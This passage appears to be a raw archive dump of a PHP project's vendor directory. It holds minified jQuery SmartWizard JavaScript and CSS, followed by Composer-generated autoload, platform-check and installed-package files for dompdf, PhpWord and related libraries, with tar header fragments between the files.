i="";"default"==s?i=this.options.style.anchorDefaultCss:"active"==s?i=this.options.style.anchorActiveCss:"done"==s?i=this.options.style.anchorDoneCss:"disable"==s?i=this.options.style.anchorDisabledCss:"hidden"==s?i=this.options.style.anchorHiddenCss:"error"==s?i=this.options.style.anchorErrorCss:"warning"==s&&(i=this.options.style.anchorWarningCss),l.each(t,function(t,s){n.steps.eq(s).toggleClass(i,e)})}},{key:"goToStep",value:function(t,s){!0!=(s=!1!==s)&&!this._isShowable(this.steps.eq(t))||(!0===s&&0<t&&this.options.anchor.enableDoneState&&this.options.anchor.markPreviousStepsAsDone&&this.steps.slice(0,t).addClass(this.options.style.anchorDoneCss),this._showStep(t))}},{key:"next",value:function(){this._navigate("next")}},{key:"prev",value:function(){this._navigate("prev")}},{key:"reset",value:function(){this.steps.removeClass([this.options.style.anchorDoneCss,this.options.style.anchorActiveCss,this.options.style.anchorErrorCss,this.options.style.anchorWarningCss]),this._setURLHash("#"),this._init(),this._load()}},{key:"setState",value:function(t,s){this._changeState(t,s,!0)}},{key:"unsetState",value:function(t,s){this._changeState(t,s,!1)}},{key:"setOptions",value:function(t){this.options=l.extend(!0,{},this.options,t),this._init()}},{key:"getOptions",value:function(){return this.options}},{key:"getStepInfo",value:function(){return{currentStep:this.current_index?this.current_index:0,totalSteps:this.steps?this.steps.length:0}}},{key:"loader",value:function(t){this.main.toggleClass(this.options.style.loaderCss,"show"===t)}},{key:"fixHeight",value:function(){this._fixHeight(this.current_index)}}]),n}();l.fn.smartWizard=function(t){if(void 0===t||"object"===_typeof(t))return this.each(function(){l.data(this,"smartWizard")||l.data(this,"smartWizard",new e(this,t))});if("string"==typeof t&&"_"!==t[0]&&"init"!==t){var s=l.data(this[0],"smartWizard");return"destroy"===t&&l.data(this,"smartWizard",null),s instanceof e&&"function"==typeof s[t]?s[t].apply(s,Array.prototype.slice.call(arguments,1)):this}},l.fn.smartWizard.transitions={fade:function(t,s,e,n,i){l.isFunction(t.fadeOut)?s?s.fadeOut(n.options.transition.speed,n.options.transition.easing,function(){t.fadeIn(n.options.transition.speed,n.options.transition.easing,function(){i()})}):t.fadeIn(n.options.transition.speed,n.options.transition.easing,function(){i()}):i(!1)},slideSwing:function(t,s,e,n,i){l.isFunction(t.slideDown)?s?s.slideUp(n.options.transition.speed,n.options.transition.easing,function(){t.slideDown(n.options.transition.speed,n.options.transition.easing,function(){i()})}):t.slideDown(n.options.transition.speed,n.options.transition.easing,function(){i()}):i(!1)},slideHorizontal:function(t,s,e,i,n){var o,a,r,h;l.isFunction(t.animate)?(o=function(t,s,e,n){t.css({position:"absolute",left:s}).show().animate({left:e},i.options.transition.speed,i.options.transition.easing,n)},-1==i.current_index&&i.container.height(t.outerHeight()),a=i.container.width(),s&&(r=s.css(["position","left"]),o(s,0,a*("backward"==e?1:-1),function(){s.hide().css(r)})),h=t.css(["position"]),o(t,a*("backward"==e?-2:1),0,function(){t.css(h),n()})):n(!1)},slideVertical:function(t,s,e,i,n){var o,a,r,h;l.isFunction(t.animate)?(o=function(t,s,e,n){t.css({position:"absolute",top:s}).show().animate({top:e},i.options.transition.speed,i.options.transition.easing,n)},-1==i.current_index&&i.container.height(t.outerHeight()),a=i.container.height(),s&&(r=s.css(["position","top"]),o(s,0,a*("backward"==e?-1:1),function(){s.hide().css(r)})),h=t.css(["position"]),o(t,a*("backward"==e?1:-2),0,function(){t.css(h),n()})):n(!1)},css:function(t,s,e,n,i){var o,a,r;0!=n.options.transition.fwdHideCss.length&&0!=n.options.transition.bckHideCss.length?(o=function(t,s,e){s&&0!=s.length||e(),t.addClass(s).one("animationend",function(t){l(t.currentTarget).removeClass(s),e()}),t.addClass(s).one("animationcancel",function(t){l(t.currentTarget).removeClass(s),e("cancel")})},a=n.options.transition.prefixCss+" "+("backward"==e?n.options.transition.bckShowCss:n.options.transition.fwdShowCss),s?(r=n.options.transition.prefixCss+" "+("backward"==e?n.options.transition.bckHideCss:n.options.transition.fwdHideCss),o(s,r,function(){s.hide(),o(t,a,function(){i()}),t.show()})):(o(t,a,function(){i()}),t.show())):i(!1)}}});vendor/wizard/wizard.css000066600000045357151150442740011400 0ustar00/*!
* jQuery SmartWizard v6.x
* The awesome step wizard plugin for jQuery
* http://www.techlaboratory.net/jquery-smartwizard
*
* Created by Dipu Raj (http://dipu.me)
*
* Licensed under the terms of the MIT License
* https://github.com/techlab/jquery-smartwizard/blob/master/LICENSE
*/:root{--sw-border-color:#e3e7ed;--sw-toolbar-btn-color:#ffffff;--sw-toolbar-btn-background-color:#4b3eab;--sw-anchor-default-primary-color:#f8f9fa;--sw-anchor-default-secondary-color:#a7aeb8;--sw-anchor-active-primary-color:#4b3eab;--sw-anchor-active-secondary-color:#ffffff;--sw-anchor-done-primary-color:#548b0f;--sw-anchor-done-secondary-color:#fefefe;--sw-anchor-disabled-primary-color:#f8f9fa;--sw-anchor-disabled-secondary-color:#dbe0e5;--sw-anchor-error-primary-color:#e1204d;--sw-anchor-error-secondary-color:#ffffff;--sw-anchor-warning-primary-color:#d59600;--sw-anchor-warning-secondary-color:#ffffff;--sw-progress-color:#4b3eab;--sw-progress-background-color:#f8f9fa;--sw-loader-color:#4b3eab;--sw-loader-background-color:#f8f9fa;--sw-loader-background-wrapper-color:rgba(255, 255, 255, 0.7)}.sw{position:relative}.sw *,.sw ::after,.sw ::before{box-sizing:border-box}.sw>.tab-content{position:relative;overflow:hidden}.sw>.tab-content>.tab-pane{padding:.8rem}.sw .toolbar{padding:.8rem;text-align:right}.sw .toolbar>.sw-btn{display:inline-block;text-decoration:none;text-align:center;text-transform:none;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;user-select:none;margin-left:.2rem;margin-right:.2rem;cursor:pointer;padding:.375rem .75rem;border-radius:.5rem;font-weight:400;color:var(--sw-toolbar-btn-color);background-color:var(--sw-toolbar-btn-background-color);border:1px solid var(--sw-toolbar-btn-background-color)}.sw .toolbar>.sw-btn.disabled,.sw .toolbar>.sw-btn:disabled{opacity:.65}.sw[dir=rtl]>.toolbar{text-align:left}.sw>.nav{display:flex;flex-wrap:wrap;list-style:none;padding-left:0;margin-top:0;margin-bottom:0}@media screen and (max-width:640px){.sw>.nav{flex-direction:column!important;flex:1 auto}}.sw>.nav .nav-link{display:block;padding:.5rem 1rem;text-decoration:none}.sw>.nav .nav-link:active,.sw>.nav .nav-link:focus,.sw>.nav .nav-link:hover{text-decoration:none}.sw>.nav .nav-link::-moz-focus-inner{border:0}.sw>.nav .nav-link.disabled{pointer-events:none;cursor:not-allowed}.sw>.nav .nav-link.hidden{display:none;visibility:none}.sw>.nav .nav-link>.num{display:flex;justify-content:center;align-items:center;float:left;pointer-events:none;height:100%;padding-left:.5rem;padding-right:.5rem;border-radius:10em;text-align:center;font-size:2em;font-weight:800;clear:both;line-height:1;text-decoration:none}.sw[dir=rtl]>.nav .nav-link>.num{float:right}.sw>.progress{padding:0;margin:0;border:0;width:100%;height:5px;background:var(--sw-progress-background-color);overflow:hidden}.sw>.progress>.progress-bar{height:5px;width:0%;background-color:var(--sw-progress-color);transition:width .5s ease-in-out}.sw.sw-justified>.nav .nav-link,.sw.sw-justified>.nav>li{flex-basis:0;flex-grow:1;text-align:center}.sw.sw-loading{-webkit-user-select:none;-moz-user-select:none;user-select:none}.sw.sw-loading::after{content:"";display:block;position:absolute;opacity:1;top:0;left:0;height:100%;width:100%;background:var(--sw-loader-background-wrapper-color);z-index:2}.sw.sw-loading::before{content:"";display:inline-block;position:absolute;top:45%;left:45%;width:2rem;height:2rem;border:10px solid var(--sw-loader-color);border-top:10px solid var(--sw-loader-background-color);border-radius:50%;z-index:10;-webkit-animation:spin 1s linear infinite;animation:spin 1s linear infinite}@-webkit-keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}.sw-theme-basic{border:1px solid var(--sw-border-color)}.sw-theme-basic>.nav .nav-link{position:relative;height:100%;min-height:100%;margin-right:5px}.sw-theme-basic>.nav .nav-link::after{content:"";position:absolute;pointer-events:none;height:2px;width:0;left:0;bottom:-1px;transition:all .35s ease .15s;width:100%}.sw-theme-basic>.nav .nav-link.default{color:var(--sw-anchor-default-secondary-color);cursor:not-allowed}.sw-theme-basic>.nav .nav-link.default::after{background-color:var(--sw-anchor-default-secondary-color)}.sw-theme-basic>.nav .nav-link.active{color:var(--sw-anchor-active-primary-color)!important;cursor:pointer}.sw-theme-basic>.nav .nav-link.active::after{background:var(--sw-anchor-active-primary-color)!important}.sw-theme-basic>.nav .nav-link.done{color:var(--sw-anchor-done-primary-color);cursor:pointer}.sw-theme-basic>.nav .nav-link.done::after{background:var(--sw-anchor-done-primary-color)}.sw-theme-basic>.nav .nav-link.disabled{color:var(--sw-anchor-disabled-primary-color)!important}.sw-theme-basic>.nav .nav-link.disabled::after{background:var(--sw-anchor-disabled-primary-color)}.sw-theme-basic>.nav .nav-link.error{color:var(--sw-anchor-error-primary-color)!important;cursor:pointer}.sw-theme-basic>.nav .nav-link.error::after{background:var(--sw-anchor-error-primary-color)!important}.sw-theme-basic>.nav .nav-link.warning{color:var(--sw-anchor-warning-primary-color)!important;cursor:pointer}.sw-theme-basic>.nav .nav-link.warning::after{background:var(--sw-anchor-warning-primary-color)!important}.sw-theme-arrows{border:1px solid var(--sw-border-color)}.sw-theme-arrows>.nav{overflow:hidden}@media screen and (min-width:640px){.sw-theme-arrows>.nav .nav-item:first-child .nav-link{padding-left:10px;margin-left:0}}.sw-theme-arrows>.nav .nav-item:last-child .nav-link{margin-right:0}.sw-theme-arrows>.nav .nav-link{position:relative;height:100%;padding:10px;margin-right:30px;margin-left:-30px;padding-left:50px;transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link{overflow:hidden;margin-right:unset;text-align:left!important}}.sw-theme-arrows>.nav .nav-link::after,.sw-theme-arrows>.nav .nav-link::before{content:"";pointer-events:none;position:absolute;display:block;left:100%;top:50%;height:0;width:0;margin-top:-50px;border:50px solid transparent;border-left-width:40px;transition:all .5s ease-in-out}.sw-theme-arrows>.nav .nav-link::after{z-index:2}.sw-theme-arrows>.nav .nav-link::before{z-index:1}.sw-theme-arrows>.nav .nav-link.default{color:var(--sw-anchor-default-secondary-color);background-color:var(--sw-anchor-default-primary-color);cursor:not-allowed}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.default{border-bottom:1px solid var(--sw-anchor-default-primary-color)}}.sw-theme-arrows>.nav .nav-link.default::after{border-left-color:var(--sw-anchor-default-primary-color)}.sw-theme-arrows>.nav .nav-link.default::before{border-left-color:var(--sw-anchor-default-secondary-color)}.sw-theme-arrows>.nav .nav-link.active{color:var(--sw-anchor-active-secondary-color)!important;border-color:var(--sw-anchor-active-primary-color);background-color:var(--sw-anchor-active-primary-color);cursor:pointer}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.active{border-bottom:1px solid var(--sw-anchor-active-secondary-color)}}.sw-theme-arrows>.nav .nav-link.active::after{border-left-color:var(--sw-anchor-active-primary-color)}.sw-theme-arrows>.nav .nav-link.active::before{border-left-color:var(--sw-anchor-active-secondary-color)}.sw-theme-arrows>.nav .nav-link.done{color:var(--sw-anchor-done-secondary-color);border-color:var(--sw-anchor-done-primary-color);background-color:var(--sw-anchor-done-primary-color);cursor:pointer}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.done{border-bottom:1px solid var(--sw-anchor-done-secondary-color)}}.sw-theme-arrows>.nav .nav-link.done::after{border-left-color:var(--sw-anchor-done-primary-color)}.sw-theme-arrows>.nav .nav-link.done::before{border-left-color:var(--sw-anchor-done-secondary-color)}.sw-theme-arrows>.nav .nav-link.disabled{color:var(--sw-anchor-disabled-secondary-color);border-color:var(--sw-anchor-disabled-primary-color);background-color:var(--sw-anchor-disabled-primary-color)}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.disabled{border-bottom:1px solid var(--sw-anchor-disabled-secondary-color)}}.sw-theme-arrows>.nav .nav-link.disabled::after{border-left-color:var(--sw-anchor-disabled-primary-color)}.sw-theme-arrows>.nav .nav-link.disabled::before{border-left-color:var(--sw-anchor-disabled-secondary-color)}.sw-theme-arrows>.nav .nav-link.error{color:var(--sw-anchor-error-secondary-color);border-color:var(--sw-anchor-error-primary-color);background-color:var(--sw-anchor-error-primary-color);cursor:pointer}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.error{border-bottom:1px solid var(--sw-anchor-error-secondary-color)}}.sw-theme-arrows>.nav .nav-link.error::after{border-left-color:var(--sw-anchor-error-primary-color)}.sw-theme-arrows>.nav .nav-link.error::before{border-left-color:var(--sw-anchor-error-secondary-color)}.sw-theme-arrows>.nav .nav-link.warning{color:var(--sw-anchor-warning-secondary-color);border-color:var(--sw-anchor-warning-primary-color);background-color:var(--sw-anchor-warning-primary-color);cursor:pointer}@media screen and (max-width:640px){.sw-theme-arrows>.nav .nav-link.warning{border-bottom:1px solid var(--sw-anchor-warning-secondary-color)}}.sw-theme-arrows>.nav .nav-link.warning::after{border-left-color:var(--sw-anchor-warning-primary-color)}.sw-theme-arrows>.nav .nav-link.warning::before{border-left-color:var(--sw-anchor-warning-secondary-color)}.sw-theme-arrows[dir=rtl]>.nav{padding-right:0}.sw-theme-arrows[dir=rtl]>.nav .nav-item:first-child .nav-link{padding-left:unset;margin-left:unset;padding-right:10px;margin-right:0}.sw-theme-arrows[dir=rtl]>.nav .nav-item:last-child .nav-link{margin-right:unset;margin-left:0}.sw-theme-arrows[dir=rtl]>.nav .nav-link{margin-right:unset;margin-left:unset;padding-left:unset;padding-right:50px}@media screen and (max-width:640px){.sw-theme-arrows[dir=rtl]>.nav .nav-link{margin-left:unset}}.sw-theme-arrows[dir=rtl]>.nav .nav-link::after,.sw-theme-arrows[dir=rtl]>.nav .nav-link::before{left:unset;right:100%;border-left-width:0;border-right-width:40px}.sw-theme-arrows[dir=rtl]>.nav .nav-link.default::after{border-right-color:var(--sw-anchor-default-primary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.default::before{border-right-color:var(--sw-anchor-default-secondary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.active::after{border-right-color:var(--sw-anchor-active-primary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.active::before{border-right-color:var(--sw-anchor-active-secondary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.done::after{border-right-color:var(--sw-anchor-done-primary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.done::before{border-right-color:var(--sw-anchor-done-secondary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.disabled::after{border-left-color:unset;border-right-color:var(--sw-anchor-disabled-primary-color)}.sw-theme-arrows[dir=rtl]>.nav .nav-link.disabled::before{border-left-color:unset;border-right-color:var(--sw-anchor-disabled-secondary-color)}.sw-theme-dots>.nav{position:relative;margin-bottom:10px}.sw-theme-dots>.nav::before{content:" ";position:absolute;top:18px;left:0;width:100%;height:5px;background-color:var(--sw-border-color);border-radius:3px;z-index:1}@media screen and (max-width:640px){.sw-theme-dots>.nav::before{top:0;left:20.5px;width:5px;height:100%}}@media screen and (max-width:640px){.sw-theme-dots>.nav .nav-item:last-child .nav-link{margin-bottom:0}}.sw-theme-dots>.nav .nav-link{position:relative;margin-top:40px}@media screen and (max-width:640px){.sw-theme-dots>.nav .nav-link{margin-top:unset;margin-bottom:20px;padding-left:55px;text-align:left!important}}.sw-theme-dots>.nav .nav-link::after{content:" ";position:absolute;display:block;left:0;right:0;margin-left:auto;margin-right:auto;border-radius:50%;top:-42px;width:46px;height:46px;z-index:99;border:8px solid var(--sw-border-color);transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-dots>.nav .nav-link::after{top:0;right:unset}}.sw-theme-dots>.nav .nav-link>.num{font-size:1.5em;position:absolute;display:block;left:0;right:0;top:-31px;margin-left:auto;margin-right:auto;z-index:100;transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-dots>.nav .nav-link>.num{top:0;right:unset;width:46px;padding-top:10px}}.sw-theme-dots>.nav .nav-link.default{color:var(--sw-anchor-default-secondary-color);cursor:not-allowed}.sw-theme-dots>.nav .nav-link.default>.num{color:var(--sw-anchor-default-primary-color)!important}.sw-theme-dots>.nav .nav-link.default::after{background-color:var(--sw-anchor-default-secondary-color)}.sw-theme-dots>.nav .nav-link.active{color:var(--sw-anchor-active-primary-color)!important;cursor:pointer}.sw-theme-dots>.nav .nav-link.active>.num{color:var(--sw-anchor-active-secondary-color)!important}.sw-theme-dots>.nav .nav-link.active::after{background-color:var(--sw-anchor-active-primary-color)!important;box-shadow:0 1px 7px 1px rgba(0,0,0,.3)}.sw-theme-dots>.nav .nav-link.done{color:var(--sw-anchor-done-primary-color);cursor:pointer}.sw-theme-dots>.nav .nav-link.done>.num{color:var(--sw-anchor-done-secondary-color)!important}.sw-theme-dots>.nav .nav-link.done::after{background-color:var(--sw-anchor-done-primary-color)}.sw-theme-dots>.nav .nav-link.disabled{color:var(--sw-anchor-disabled-primary-color)}.sw-theme-dots>.nav .nav-link.disabled>.num{color:var(--sw-anchor-disabled-secondary-color)!important}.sw-theme-dots>.nav .nav-link.disabled::after{background-color:var(--sw-anchor-disabled-primary-color)}.sw-theme-dots>.nav .nav-link.error{color:var(--sw-anchor-error-primary-color)!important;cursor:pointer}.sw-theme-dots>.nav .nav-link.error>.num{color:var(--sw-anchor-error-secondary-color)!important}.sw-theme-dots>.nav .nav-link.error::after{background-color:var(--sw-anchor-error-primary-color)!important}.sw-theme-dots>.nav .nav-link.warning{color:var(--sw-anchor-warning-primary-color)!important;cursor:pointer}.sw-theme-dots>.nav .nav-link.warning>.num{color:var(--sw-anchor-warning-secondary-color)!important}.sw-theme-dots>.nav .nav-link.warning::after{background-color:var(--sw-anchor-warning-primary-color)!important}.sw-theme-dots>.nav-progress::after{content:" ";position:absolute;top:18px;left:0;width:var(--sw-progress-width);height:5px;background-color:var(--sw-progress-color);border-radius:3px;z-index:2;transition:width .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-dots>.nav-progress::after{top:0;left:20.5px;width:5px;height:var(--sw-progress-width)}}.sw-theme-dots[dir=rtl]>.nav-progress::after{left:unset;right:0}.sw-theme-round>.nav .nav-link{position:relative;height:100%;min-height:100%;border-radius:10em;margin-right:4px;transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-round>.nav .nav-link{margin-right:unset;text-align:left!important}}.sw-theme-round>.nav .nav-link.default{background-color:var(--sw-anchor-default-primary-color);color:var(--sw-anchor-default-secondary-color);cursor:not-allowed}.sw-theme-round>.nav .nav-link.active{background-color:var(--sw-anchor-active-primary-color);color:var(--sw-anchor-active-secondary-color)!important;box-shadow:0 1px 7px 1px rgba(0,0,0,.3);cursor:pointer}.sw-theme-round>.nav .nav-link.done{background-color:var(--sw-anchor-done-primary-color);color:var(--sw-anchor-done-secondary-color);cursor:pointer}.sw-theme-round>.nav .nav-link.disabled{background-color:var(--sw-anchor-disabled-primary-color);color:var(--sw-anchor-disabled-secondary-color)!important}.sw-theme-round>.nav .nav-link.error{background-color:var(--sw-anchor-error-primary-color);color:var(--sw-anchor-error-secondary-color)!important;cursor:pointer}.sw-theme-round>.nav .nav-link.warning{background-color:var(--sw-anchor-warning-primary-color);color:var(--sw-anchor-warning-secondary-color)!important;cursor:pointer}.sw-theme-round[dir=rtl]>.nav .nav-link>.num{float:right}.sw-theme-square>.nav{position:relative;margin-bottom:10px}.sw-theme-square>.nav::before{content:" ";position:absolute;top:18px;left:0;width:100%;border-radius:8px;z-index:1;border:3px dashed var(--sw-border-color)}@media screen and (max-width:640px){.sw-theme-square>.nav::before{top:0;left:17px;width:6px;height:100%}}.sw-theme-square>.nav .nav-link{position:relative;margin-top:40px}@media screen and (max-width:640px){.sw-theme-square>.nav .nav-link{margin-top:unset;margin-bottom:20px;padding-left:55px;text-align:left!important}}.sw-theme-square>.nav .nav-link::before{content:" ";position:absolute;display:block;left:0;right:0;margin-left:auto;margin-right:auto;border-radius:.475rem;top:-40px;width:40px;height:40px;border:none;background:var(--sw-border-color);text-decoration:none;z-index:98;transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-square>.nav .nav-link::before{top:0;right:unset}}.sw-theme-square>.nav .nav-link>.num{position:absolute;display:block;left:0;right:0;top:-38px;margin-left:auto;margin-right:auto;z-index:100;transition:all .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-square>.nav .nav-link>.num{top:0;right:unset;width:40px;padding-top:3px}}.sw-theme-square>.nav .nav-link.default{color:var(--sw-anchor-default-secondary-color);cursor:not-allowed}.sw-theme-square>.nav .nav-link.default::after{background-color:var(--sw-anchor-default-secondary-color)}.sw-theme-square>.nav .nav-link.active{color:var(--sw-anchor-active-primary-color)!important;cursor:pointer}.sw-theme-square>.nav .nav-link.active>.num{color:var(--sw-anchor-active-secondary-color)!important}.sw-theme-square>.nav .nav-link.active::before{background-color:var(--sw-anchor-active-primary-color)!important;box-shadow:0 1px 7px 1px rgba(0,0,0,.3)}.sw-theme-square>.nav .nav-link.done{color:var(--sw-anchor-done-primary-color);cursor:pointer}.sw-theme-square>.nav .nav-link.done>.num{color:var(--sw-anchor-done-secondary-color)!important}.sw-theme-square>.nav .nav-link.done::before{background-color:var(--sw-anchor-done-primary-color)!important}.sw-theme-square>.nav .nav-link.disabled{color:var(--sw-anchor-disabled-primary-color)}.sw-theme-square>.nav .nav-link.disabled::after{background-color:var(--sw-anchor-disabled-primary-color)}.sw-theme-square>.nav .nav-link.error{color:var(--sw-anchor-error-primary-color)!important;cursor:pointer}.sw-theme-square>.nav .nav-link.error::after{background-color:var(--sw-anchor-error-primary-color)!important}.sw-theme-square>.nav .nav-link.warning{color:var(--sw-anchor-warning-primary-color)!important;cursor:pointer}.sw-theme-square>.nav .nav-link.warning::after{background-color:var(--sw-anchor-warning-primary-color)!important}.sw-theme-square>.nav-progress::after{content:" ";position:absolute;top:18px;left:0;width:var(--sw-progress-width);border-radius:8px;z-index:1;height:6px;background-color:var(--sw-progress-color);z-index:2;transition:width .5s ease-in-out}@media screen and (max-width:640px){.sw-theme-square>.nav-progress::after{top:0;left:17px;width:6px;height:var(--sw-progress-width)}}.sw-theme-square[dir=rtl]>.nav-progress::after{left:unset;right:0}vendor/composer/autoload_static.php000066600000004310151150442740013565 0ustar00<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInitdf2c9e906ed8ff655773588ce86b4e05
{
    public static $prefixLengthsPsr4 = array (
        'S' => 
        array (
            'Svg\\' => 4,
            'Sabberworm\\CSS\\' => 15,
        ),
        'P' => 
        array (
            'PhpOffice\\PhpWord\\' => 18,
            'PhpOffice\\Math\\' => 15,
        ),
        'M' => 
        array (
            'Masterminds\\' => 12,
        ),
        'F' => 
        array (
            'FontLib\\' => 8,
        ),
        'D' => 
        array (
            'Dompdf\\' => 7,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'Svg\\' => 
        array (
            0 => __DIR__ . '/..' . '/dompdf/php-svg-lib/src/Svg',
        ),
        'Sabberworm\\CSS\\' => 
        array (
            0 => __DIR__ . '/..' . '/sabberworm/php-css-parser/src',
        ),
        'PhpOffice\\PhpWord\\' => 
        array (
            0 => __DIR__ . '/..' . '/phpoffice/phpword/src/PhpWord',
        ),
        'PhpOffice\\Math\\' => 
        array (
            0 => __DIR__ . '/..' . '/phpoffice/math/src/Math',
        ),
        'Masterminds\\' => 
        array (
            0 => __DIR__ . '/..' . '/masterminds/html5/src',
        ),
        'FontLib\\' => 
        array (
            0 => __DIR__ . '/..' . '/dompdf/php-font-lib/src/FontLib',
        ),
        'Dompdf\\' => 
        array (
            0 => __DIR__ . '/..' . '/dompdf/dompdf/src',
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
        'Dompdf\\Cpdf' => __DIR__ . '/..' . '/dompdf/dompdf/lib/Cpdf.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInitdf2c9e906ed8ff655773588ce86b4e05::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInitdf2c9e906ed8ff655773588ce86b4e05::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInitdf2c9e906ed8ff655773588ce86b4e05::$classMap;

        }, null, ClassLoader::class);
    }
}
vendor/composer/autoload_real.php000066600000002161151150442740013223 0ustar00<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInitdf2c9e906ed8ff655773588ce86b4e05
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        require __DIR__ . '/platform_check.php';

        spl_autoload_register(array('ComposerAutoloaderInitdf2c9e906ed8ff655773588ce86b4e05', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader(\dirname(__DIR__));
        spl_autoload_unregister(array('ComposerAutoloaderInitdf2c9e906ed8ff655773588ce86b4e05', 'loadClassLoader'));

        require __DIR__ . '/autoload_static.php';
        call_user_func(\Composer\Autoload\ComposerStaticInitdf2c9e906ed8ff655773588ce86b4e05::getInitializer($loader));

        $loader->register(true);

        return $loader;
    }
}
vendor/composer/autoload_classmap.php000066600000000440151150442740014101 0ustar00<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(__DIR__);
$baseDir = dirname($vendorDir);

return array(
    'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
    'Dompdf\\Cpdf' => $vendorDir . '/dompdf/dompdf/lib/Cpdf.php',
);
vendor/composer/platform_check.php000066600000001635151150442740013376 0ustar00<?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 70100)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.1.0". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    trigger_error(
        'Composer detected issues in your platform: ' . implode(' ', $issues),
        E_USER_ERROR
    );
}
vendor/composer/installed.php000066600000006405151150442740012374 0ustar00<?php return array(
    'root' => array(
        'pretty_version' => 'dev-master',
        'version' => 'dev-master',
        'type' => 'library',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'reference' => 'b6e2f987224fedc28ec0612c5de7a1474de89204',
        'name' => '__root__',
        'dev' => true,
    ),
    'versions' => array(
        '__root__' => array(
            'pretty_version' => 'dev-master',
            'version' => 'dev-master',
            'type' => 'library',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'reference' => 'b6e2f987224fedc28ec0612c5de7a1474de89204',
            'dev_requirement' => false,
        ),
        'dompdf/dompdf' => array(
            'pretty_version' => 'v3.0.0',
            'version' => '3.0.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../dompdf/dompdf',
            'aliases' => array(),
            'reference' => 'fbc7c5ee5d94f7a910b78b43feb7931b7f971b59',
            'dev_requirement' => false,
        ),
        'dompdf/php-font-lib' => array(
            'pretty_version' => '1.0.0',
            'version' => '1.0.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../dompdf/php-font-lib',
            'aliases' => array(),
            'reference' => '991d6a954f6bbd7e41022198f00586b230731441',
            'dev_requirement' => false,
        ),
        'dompdf/php-svg-lib' => array(
            'pretty_version' => '1.0.0',
            'version' => '1.0.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../dompdf/php-svg-lib',
            'aliases' => array(),
            'reference' => 'eb045e518185298eb6ff8d80d0d0c6b17aecd9af',
            'dev_requirement' => false,
        ),
        'masterminds/html5' => array(
            'pretty_version' => '2.9.0',
            'version' => '2.9.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../masterminds/html5',
            'aliases' => array(),
            'reference' => 'f5ac2c0b0a2eefca70b2ce32a5809992227e75a6',
            'dev_requirement' => false,
        ),
        'phpoffice/math' => array(
            'pretty_version' => '0.2.0',
            'version' => '0.2.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../phpoffice/math',
            'aliases' => array(),
            'reference' => 'fc2eb6d1a61b058d5dac77197059db30ee3c8329',
            'dev_requirement' => false,
        ),
        'phpoffice/phpword' => array(
            'pretty_version' => '1.3.0',
            'version' => '1.3.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../phpoffice/phpword',
            'aliases' => array(),
            'reference' => '8392134ce4b5dba65130ba956231a1602b848b7f',
            'dev_requirement' => false,
        ),
        'sabberworm/php-css-parser' => array(
            'pretty_version' => 'v8.7.0',
            'version' => '8.7.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../sabberworm/php-css-parser',
            'aliases' => array(),
            'reference' => 'f414ff953002a9b18e3a116f5e462c56f21237cf',
            'dev_requirement' => false,
        ),
    ),
);
vendor/composer/autoload_psr4.php000066600000001203151150442740013164 0ustar00<?php

// autoload_psr4.php @generated by Composer

